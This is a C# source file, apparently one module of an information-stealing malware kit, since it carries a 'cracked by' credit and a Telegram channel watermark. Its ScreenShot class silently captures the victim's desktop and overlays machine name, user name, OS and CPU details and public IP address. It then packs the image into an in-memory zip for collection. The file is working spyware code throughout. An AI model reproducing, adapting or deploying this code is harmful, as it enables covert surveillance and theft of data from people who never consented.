177 lines
6.9 KiB
C#
177 lines
6.9 KiB
C#
using System;
|
|||
|
|
using System.Diagnostics;
|
||
|
|
using System.Drawing;
|
||
|
|
using System.Drawing.Drawing2D;
|
||
|
|
using System.Drawing.Imaging;
|
||
|
|
using System.Drawing.Text;
|
||
|
|
using System.IO;
|
||
|
|
using System.Windows.Forms;
|
||
|
|
using Intelix.Helper;
|
||
|
|
using Intelix.Helper.Data;
|
||
|
|
|
||
|
|
namespace Intelix.Targets.Device;
|
||
|
|
|
||
|
|
public class ScreenShot : ITarget
|
||
|
|
{
|
||
|
|
public void Collect(InMemoryZip zip, Counter counter)
|
||
|
|
{
|
||
|
|
Rectangle bounds = Screen.PrimaryScreen.Bounds;
|
||
|
|
using Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format24bppRgb);
|
||
|
|
using Graphics graphics = Graphics.FromImage(bitmap);
|
||
|
|
IntPtr hdc = graphics.GetHdc();
|
||
|
|
IntPtr windowDC = NativeMethods.GetWindowDC(NativeMethods.GetDesktopWindow());
|
||
|
|
NativeMethods.BitBlt(hdc, 0, 0, bounds.Width, bounds.Height, windowDC, 0, 0, 13369376);
|
||
|
|
graphics.ReleaseHdc(hdc);
|
||
|
|
NativeMethods.ReleaseDC(NativeMethods.GetDesktopWindow(), windowDC);
|
||
|
|
graphics.SmoothingMode = SmoothingMode.AntiAlias;
|
||
|
|
graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
|
||
|
|
graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
|
||
|
|
RectangleF rectangleF = new RectangleF(0f, 0f, bounds.Width, bounds.Height);
|
||
|
|
StringFormat format = new StringFormat
|
||
|
|
{
|
||
|
|
Alignment = StringAlignment.Center,
|
||
|
|
LineAlignment = StringAlignment.Center
|
||
|
|
};
|
||
|
|
float num = Math.Max(24f, (float)bounds.Width / 40f);
|
||
|
|
using (Font font = new Font("Segoe UI Black", num, FontStyle.Bold, GraphicsUnit.Pixel))
|
||
|
|
{
|
||
|
|
using GraphicsPath graphicsPath = new GraphicsPath();
|
||
|
|
graphicsPath.AddString("https://t.me/neverliet_projects", font.FontFamily, (int)font.Style, font.Size, rectangleF, format);
|
||
|
|
int num2 = 10;
|
||
|
|
for (int num3 = num2; num3 >= 1; num3--)
|
||
|
|
{
|
||
|
|
int alpha = (int)(30.0 * (1.0 - (double)num3 / (double)num2)) + 8;
|
||
|
|
using Pen pen = new Pen(width: num / 18f * (float)num3, color: Color.FromArgb(alpha, 0, 0, 0));
|
||
|
|
pen.LineJoin = LineJoin.Round;
|
||
|
|
graphics.DrawPath(pen, graphicsPath);
|
||
|
|
}
|
||
|
|
using (LinearGradientBrush linearGradientBrush = new LinearGradientBrush(rectangleF, Color.Black, Color.FromArgb(255, 30, 30, 30), LinearGradientMode.Horizontal))
|
||
|
|
{
|
||
|
|
ColorBlend colorBlend = new ColorBlend();
|
||
|
|
colorBlend.Colors = new Color[4]
|
||
|
|
{
|
||
|
|
Color.Black,
|
||
|
|
Color.FromArgb(255, 20, 20, 20),
|
||
|
|
Color.FromArgb(255, 10, 10, 10),
|
||
|
|
Color.Black
|
||
|
|
};
|
||
|
|
colorBlend.Positions = new float[4] { 0f, 0.45f, 0.75f, 1f };
|
||
|
|
linearGradientBrush.InterpolationColors = colorBlend;
|
||
|
|
using PathGradientBrush pathGradientBrush = new PathGradientBrush(graphicsPath);
|
||
|
|
pathGradientBrush.CenterColor = Color.FromArgb(220, 60, 60, 60);
|
||
|
|
pathGradientBrush.SurroundColors = new Color[1] { Color.FromArgb(0, 0, 0, 0) };
|
||
|
|
pathGradientBrush.CenterPoint = new PointF(rectangleF.Width * 0.5f, rectangleF.Height * 0.45f);
|
||
|
|
graphics.FillPath(linearGradientBrush, graphicsPath);
|
||
|
|
graphics.FillPath(pathGradientBrush, graphicsPath);
|
||
|
|
}
|
||
|
|
using (Pen pen2 = new Pen(Color.FromArgb(220, 80, 80, 80), Math.Max(2f, num / 28f)))
|
||
|
|
{
|
||
|
|
pen2.LineJoin = LineJoin.Round;
|
||
|
|
graphics.DrawPath(pen2, graphicsPath);
|
||
|
|
}
|
||
|
|
PointF[] array = new PointF[5]
|
||
|
|
{
|
||
|
|
new PointF(rectangleF.Width * 0.22f, rectangleF.Height * 0.38f),
|
||
|
|
new PointF(rectangleF.Width * 0.33f, rectangleF.Height * 0.52f),
|
||
|
|
new PointF(rectangleF.Width * 0.68f, rectangleF.Height * 0.4f),
|
||
|
|
new PointF(rectangleF.Width * 0.6f, rectangleF.Height * 0.6f),
|
||
|
|
new PointF(rectangleF.Width * 0.5f, rectangleF.Height * 0.3f)
|
||
|
|
};
|
||
|
|
for (int i = 0; i < array.Length; i++)
|
||
|
|
{
|
||
|
|
PointF pointF = array[i];
|
||
|
|
float num4 = Math.Max(2f, num / 28f);
|
||
|
|
using (SolidBrush brush = new SolidBrush(Color.FromArgb(230, 255, 255, 255)))
|
||
|
|
{
|
||
|
|
graphics.FillEllipse(brush, pointF.X - num4 / 2f, pointF.Y - num4 / 2f, num4, num4);
|
||
|
|
}
|
||
|
|
using SolidBrush brush2 = new SolidBrush(Color.FromArgb(80, 0, 0, 0));
|
||
|
|
graphics.FillEllipse(brush2, pointF.X - num4 * 2f, pointF.Y - num4 * 2f, num4 * 4f, num4 * 4f);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
string fileName = Process.GetCurrentProcess().MainModule.FileName;
|
||
|
|
string[] array2 = new string[12]
|
||
|
|
{
|
||
|
|
"Machine: " + Environment.MachineName,
|
||
|
|
"User: " + Environment.UserName,
|
||
|
|
$"Time: {DateTimeOffset.Now:yyyy-MM-dd HH:mm:ss zzz}",
|
||
|
|
$".NET: {Environment.Version}",
|
||
|
|
"CPU: " + CpuInfo.GetName(),
|
||
|
|
$"CPU Cores: {CpuInfo.GetLogicalCores()}",
|
||
|
|
"OS Product: " + WindowsInfo.GetProductName(),
|
||
|
|
"OS Build: " + WindowsInfo.GetBuildNumber(),
|
||
|
|
"OS Arch: " + WindowsInfo.GetArchitecture(),
|
||
|
|
"Public ip: " + IpApi.GetPublicIp(),
|
||
|
|
"Build Name: " + Path.GetFileName(Path.GetDirectoryName(fileName)) + "\\" + Path.GetFileName(fileName),
|
||
|
|
"Code by @neverliet cracked by @UnAssembler"
|
||
|
|
};
|
||
|
|
float num5 = Math.Max(12f, (float)bounds.Width / 120f);
|
||
|
|
using (Font font2 = new Font("Segoe UI", num5, FontStyle.Regular, GraphicsUnit.Pixel))
|
||
|
|
{
|
||
|
|
float num6 = Math.Max(8f, num5 * 0.6f);
|
||
|
|
float num7 = 0f;
|
||
|
|
float num8 = 0f;
|
||
|
|
string[] array3 = array2;
|
||
|
|
foreach (string text in array3)
|
||
|
|
{
|
||
|
|
SizeF sizeF = graphics.MeasureString(text, font2);
|
||
|
|
if (sizeF.Width > num7)
|
||
|
|
{
|
||
|
|
num7 = sizeF.Width;
|
||
|
|
}
|
||
|
|
if (sizeF.Height > num8)
|
||
|
|
{
|
||
|
|
num8 = sizeF.Height;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
float width = num7 + num6 * 2f;
|
||
|
|
float num9 = (float)array2.Length * num8 + num6 * 2f;
|
||
|
|
RectangleF rect = new RectangleF(12f, (float)bounds.Height - num9 - 12f, width, num9);
|
||
|
|
using (SolidBrush brush3 = new SolidBrush(Color.FromArgb(180, 6, 6, 10)))
|
||
|
|
{
|
||
|
|
using Pen pen3 = new Pen(Color.FromArgb(220, 60, 60, 80), 1f);
|
||
|
|
graphics.FillRectangle(brush3, rect);
|
||
|
|
graphics.DrawRectangle(pen3, rect.X, rect.Y, rect.Width, rect.Height);
|
||
|
|
}
|
||
|
|
float num10 = rect.X + num6;
|
||
|
|
float num11 = rect.Y + num6;
|
||
|
|
using SolidBrush brush4 = new SolidBrush(Color.FromArgb(160, 0, 0, 0));
|
||
|
|
using SolidBrush brush5 = new SolidBrush(Color.FromArgb(240, 245, 250, 255));
|
||
|
|
array3 = array2;
|
||
|
|
foreach (string s in array3)
|
||
|
|
{
|
||
|
|
graphics.DrawString(s, font2, brush4, new PointF(num10 + 1f, num11 + 1f));
|
||
|
|
graphics.DrawString(s, font2, brush5, new PointF(num10, num11));
|
||
|
|
num11 += num8;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
using MemoryStream memoryStream = new MemoryStream();
|
||
|
|
ImageCodecInfo imageCodecInfo = null;
|
||
|
|
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||
|
|
for (int j = 0; j < imageEncoders.Length; j++)
|
||
|
|
{
|
||
|
|
if (string.Equals(imageEncoders[j].MimeType, "image/jpeg", StringComparison.OrdinalIgnoreCase))
|
||
|
|
{
|
||
|
|
imageCodecInfo = imageEncoders[j];
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
if (imageCodecInfo != null)
|
||
|
|
{
|
||
|
|
Encoder quality = Encoder.Quality;
|
||
|
|
EncoderParameters encoderParameters = new EncoderParameters(1);
|
||
|
|
encoderParameters.Param[0] = new EncoderParameter(quality, 90L);
|
||
|
|
bitmap.Save(memoryStream, imageCodecInfo, encoderParameters);
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
bitmap.Save(memoryStream, ImageFormat.Jpeg);
|
||
|
|
}
|
||
|
|
byte[] array4 = memoryStream.ToArray();
|
||
|
|
if (array4 != null && array4.Length != 0)
|
||
|
|
{
|
||
|
|
string entryPath = "screenshot.jpg";
|
||
|
|
zip.AddFile(entryPath, array4);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|